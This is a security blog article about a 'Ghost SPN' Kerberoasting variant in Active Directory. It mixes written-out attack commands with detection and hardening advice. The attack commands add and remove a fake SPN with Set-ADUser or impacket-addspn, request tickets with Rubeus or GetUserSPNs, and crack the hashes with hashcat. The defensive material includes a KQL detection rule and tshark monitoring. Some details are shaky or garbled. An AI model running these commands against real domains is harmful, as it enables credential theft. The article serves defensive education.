Listen to this Post
Introduction:
Active Directory remains the cornerstone of enterprise identity management, but its complexity is a double-edged sword. Traditional Kerberoasting attacks rely on enumerating existing Service Principal Names (SPNs) to request service tickets for password cracking. The newly emerged “Ghost SPN” attack evolves this technique by leveraging misconfigured delegated permissions—such as GenericAll—to temporarily write a fake SPN to a user account, extract its credential hash, and then delete the SPN, leaving no forensic evidence. This technique effectively blinds traditional security monitoring, turning a standard user account into a temporary service account without ever triggering a suspicious Kerberoasting event (4769) alert.
Learning Objectives:
- Understand the technical mechanics of the Ghost SPN attack and how it differs from traditional Kerberoasting.
- Learn to identify the critical Active Directory permissions (GenericAll, GenericWrite) that enable this stealthy credential theft.
- Implement detection and mitigation strategies, including advanced audit policies, Windows Event Log monitoring, and SIEM correlation rules to catch the “ghost” in the machine.
You Should Know:
- The Anatomy of the Ghost SPN Attack: From Permission to Persistence
The core of this attack lies in the abuse of delegated permissions. In a standard environment, only domain administrators can modify SPNs. However, poorly configured Access Control Entries (ACEs) often grant `GenericAll` or `GenericWrite` rights to standard users or groups. The attacker, having compromised a user with these rights, performs the following steps:
- Enumeration: Using tools like `PowerView` or
BloodHound, the attacker identifies a target user (e.g., a non-privileged account) and an account with write permissions over it. - SPN Injection: The attacker uses `Set-ADUser` (PowerShell) or `netspi` utilities to add a fake SPN to the target user account. This effectively marks the user as a “service account.”
- Ticket Extraction: The attacker requests a Kerberos service ticket (TGS) for the newly created SPN. This ticket is encrypted with the user’s password hash, allowing for offline cracking (Kerberoasting).
- Cleanup: The attacker deletes the SPN. No service ticket was ever requested from a legitimate service account, and the SPN no longer exists when the audit logs are reviewed.
To simulate the command line activity, an attacker might use:
On a Windows machine with RSAT or PowerShell Active Directory module:
Import-Module ActiveDirectory
Step 1: Add a fake SPN to the target user 'john.doe'
Set-ADUser -Identity "john.doe" -ServicePrincipalNames @{Add="dummy/ghost.undercode.local"}
Step 2: Request the service ticket (using Rubeus or native tools)
Rubeus.exe kerberoast /user:john.doe /nowrap
Step 3: Remove the SPN to erase evidence
Set-ADUser -Identity "john.doe" -ServicePrincipalNames @{Remove="dummy/ghost.undercode.local"}
On the domain controller, the attacker’s actions generate event IDs that are often overlooked:
– Event ID 5136: A directory service object was modified. This indicates the SPN was added.
– Event ID 4769: A Kerberos service ticket was requested. If the target is john.doe, this looks like a normal user authenticating, not a high-value service account.
- Detecting the Ghost: SIEM Rules and Advanced Auditing
Defenders must shift from monitoring only high-value SPNs to monitoring the creation of SPNs themselves. The “Ghost” leaves a trail in the Windows Security logs, but only if auditing is configured to capture it. To detect this, you must enable “Audit Directory Service Changes” and “Audit Kerberos Service Ticket Operations” in your Group Policy.
Key Detection Logic for SIEM (Splunk, Sentinel):
Focus on a correlation between `EventID 5136` (Modify Object) and a subsequent `EventID 4769` (Ticket Request) for the same target account within a short time window, followed by another `5136` reverting the change.
Example log query logic:
// KQL for Microsoft Sentinel let SpnCreation = SecurityEvent | where EventID == 5136 | where ObjectClass == "user" | where AttributeLDAPDisplayName == "servicePrincipalName" | where OperationType == "Value Added" | project TimeGenerated, TargetAccount, SubjectUserName, ObjectDN; let SpnDeletion = SecurityEvent | where EventID == 5136 | where AttributeLDAPDisplayName == "servicePrincipalName" | where OperationType == "Value Removed" | project TimeGenerated, TargetAccount, SubjectUserName; let TicketRequest = SecurityEvent | where EventID == 4769 | project TimeGenerated, TargetUserName, ServiceName; SpnCreation | join kind=inner TicketRequest on $left.TargetAccount == $right.TargetUserName | where TimeGenerated between (TicketRequest_TimeGenerated - 5m .. TicketRequest_TimeGenerated + 5m) | join kind=inner SpnDeletion on $left.TargetAccount == $right.TargetAccount | where SpnDeletion_TimeGenerated > TicketRequest_TimeGenerated
3. Mitigation: Hardening Delegated Permissions
The root cause of the Ghost SPN attack is the misuse of `GenericAll` and GenericWrite. Security administrators should audit all Active Directory ACLs, focusing on accounts that have `ExtendedRight` over users. Tools like `ADACLScanner` or `BloodHound` can visualize these dangerous relationships.
Step-by-Step Hardening Guide:
- Identify Risky ACEs: Run `BloodHound` to query for “Users with GenericAll/WriteDacl on other users.”
- Remove Unnecessary Write Access: Use `Set-ACL` or the AD Admin Center to strip `WriteProperty` rights for `servicePrincipalName` from standard users. This should be reserved for Domain Admins or delegated service accounts.
- Enable Advanced Audit Policies: Configure Group Policy to audit `DS Access` -> `Detailed Directory Service Replication` to catch modifications to
servicePrincipalName. - Monitor High-Risk Groups: Specifically monitor the `Account Operators` and `Server Operators` groups, which historically hold excessive privileges.
4. Linux-Based Monitoring and Defense
While Active Directory is a Windows-native protocol, defenders often use Linux-based tools for log aggregation and network analysis. To detect Ghost SPN attacks from a Linux perspective, focus on Zeek (formerly Bro) logs or `samba` logs.
- Zeek Kerberos Logs: Analyze `kerberos.log` for `request_type` equal to
TGS. Correlate this with `service` names that are not standard or appear ephemeral. - Syslog Monitoring: Use `auditd` on domain controllers if using Samba 4, or forward Windows Event Logs to a Linux-based SIEM (like Wazuh).
Linux Command to Monitor for Strange TGS Requests (using tshark):
Capture Kerberos TGS requests on the network tshark -i eth0 -Y "kerberos.msg_type == 13" -T fields -e ip.src -e kerberos.sname
This command helps identify which IPs are requesting tickets and for which service names. A flurry of TGS requests for `dummy/ghost` or similar patterns is a red flag.
5. The Attacker’s Toolkit: Post-Exploitation with Impacket
Penetration testers and adversaries often use Impacket, a Python library, to execute this attack from a Linux machine. `impacket-addspn` allows for SPN manipulation, and `impacket-GetUserSPNs` can request the tickets. Understanding this toolchain is critical for purple team exercises.
Simulating the Attack from Kali Linux:
1. Add the SPN remotely using impacket impacket-addspn -dc-ip 192.168.1.10 domain.local/john_attacker:password -u target_user -s dummy/ghost <ol> <li>Extract the hash using impacket impacket-GetUserSPNs -request -dc-ip 192.168.1.10 domain.local/target_user</p></li> <li><p>The attacker now has a hash to crack with John or Hashcat hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Defenders should monitor for the network signatures of these scripts, such as `MS-RPC` calls to the `Directory Replication Service (DRS)` API, which are unusual for standard user workflows.
6. Integrating with Cloud and Hybrid Environments
In hybrid environments where Azure AD Connect is used, this attack has implications for cloud identities. If an on-premises user is synced to Azure AD, and the attacker cracks the password hash, they gain access to Microsoft 365. The Ghost SPN attack allows the attacker to pivot from a low-privilege on-premises user to a cloud identity without triggering conditional access policies that require MFA, as the password is still valid.
Cloud Hardening:
- Enable Azure AD Password Protection to prevent weak passwords.
- Configure Conditional Access Policies to block legacy authentication (Kerberos is not legacy, but the resulting password reuse is).
- Use Microsoft Defender for Identity (formerly Azure ATP) which now includes detections for suspicious SPN modifications and Kerberoasting activities.
What Undercode Say:
- Key Takeaway 1: The Ghost SPN attack highlights a critical vulnerability in identity management: permissions creep. Organizations must treat “Write SPN” rights as equivalent to Domain Admin privileges.
- Key Takeaway 2: Traditional security monitoring is insufficient. Defenders must pivot from hunting for static Kerberoasting events to hunting for the temporal correlation of object creation and deletion.
- Key Takeaway 3: This attack underscores the importance of the “Principle of Least Privilege” in Active Directory. If a user doesn’t need to write SPNs, they shouldn’t have the permission, regardless of the delegation model.
This attack isn’t just a new way to steal passwords; it’s a paradigm shift in stealth. By creating and immediately destroying the evidence, adversaries force defenders to rethink their detection logic. The “Ghost” doesn’t bypass logging; it exploits the assumption that a single event in a vacuum is benign. Real-time correlation and a deep understanding of AD object lifecycles are no longer optional—they are the baseline for survival against modern identity-based threats.
Prediction:
As AI-driven Identity Governance and Administration (IGA) tools become more prevalent, we will see automated remediation of such attacks. Future SIEM solutions will likely integrate real-time “rollback” capabilities, automatically reverting suspicious SPN modifications and disabling the source account within milliseconds. However, until such systems are widespread, the Ghost SPN attack will become a staple in advanced persistent threat (APT) toolkits, pushing organizations to adopt “zero trust” for identity changes, requiring Just-In-Time (JIT) access for any directory modification.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Cybersecuritynews Share – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
